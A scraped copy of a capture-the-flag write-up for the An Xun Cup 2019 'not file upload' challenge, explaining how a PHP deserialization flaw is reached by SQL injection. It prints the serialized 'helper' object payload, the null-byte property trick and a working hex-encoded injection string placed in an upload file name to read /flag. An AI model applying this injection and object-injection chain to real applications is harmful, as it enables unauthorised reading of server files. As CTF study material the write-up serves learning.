当前位置:网站首页>[an Xun cup 2019] not file upload
[an Xun cup 2019] not file upload
2022-07-05 03:38:00 【paidx0】


buu Gave the source code link , Go to the source code directly



Take a brief look at , It means uploading pictures , If helper Save pictures in serialized form , So in show Can be deserialized
<?php
class helper {
protected $ifview = True;
protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
//O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}
Then because the variable attribute is protected You need to add... Before the variable name \x00*\x00 Variable name ,private Is to add \x00 Class name \x00 Variable name
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
So I use \0\0\0 To fill in ,show It will be replaced before deserialization
//O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
SQL sentence
INSERT INTO images (implode(",",$sql_fields)) VALUES(implode(",",$sql_val))
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
title,fileame,ext,path,attr
//title This is controllable , Single quote closure
//0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d
1','2','3','4',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg


边栏推荐
- Google Chrome CSS will not update unless the cache is cleared - Google Chrome CSS doesn't update unless clear cache
- The perfect car for successful people: BMW X7! Superior performance, excellent comfort and safety
- [move pictures up, down, left and right through the keyboard in JS]
- Azkaban actual combat
- Bumblebee: build, deliver, and run ebpf programs smoothly like silk
- NPM introduction link symbolic link
- FBO and RBO disappeared in webgpu
- [untitled]
- Azkaban installation and deployment
- How to define a unified response object gracefully
猜你喜欢
随机推荐
Linux Installation redis
grandMA2 onPC 3.1.2.5的DMX参数摸索
C file in keil cannot be compiled
New interesting test applet source code_ Test available
Clickhouse物化视图
VM in-depth learning (XXV) -class file overview
Three line by line explanations of the source code of anchor free series network yolox (a total of ten articles, which are guaranteed to be explained line by line. After reading it, you can change the
Basic knowledge of tuples
深度学习——LSTM基础
【web審計-源碼泄露】獲取源碼方法,利用工具
Flume configuration 4 - customize mysqlsource
How can we truncate the float64 type to a specific precision- How can we truncate float64 type to a particular precision?
天干地支纪年法中为什么是60年一个轮回,而不是120年
Learning notes of raspberry pie 4B - IO communication (I2C)
v-if VS v-show 2.0
Nmap使用手册学习记录
Kubernetes - identity and authority authentication
[vérification sur le Web - divulgation du code source] obtenir la méthode du code source et utiliser des outils
Kubernetes -- cluster expansion principle
[groovy] loop control (number injection function implements loop | times function | upto function | downto function | step function | closure can be written outside as the final parameter)









![[positioning in JS]](/img/f1/02ce74fadc1f7524c7abca9db66c71.jpg)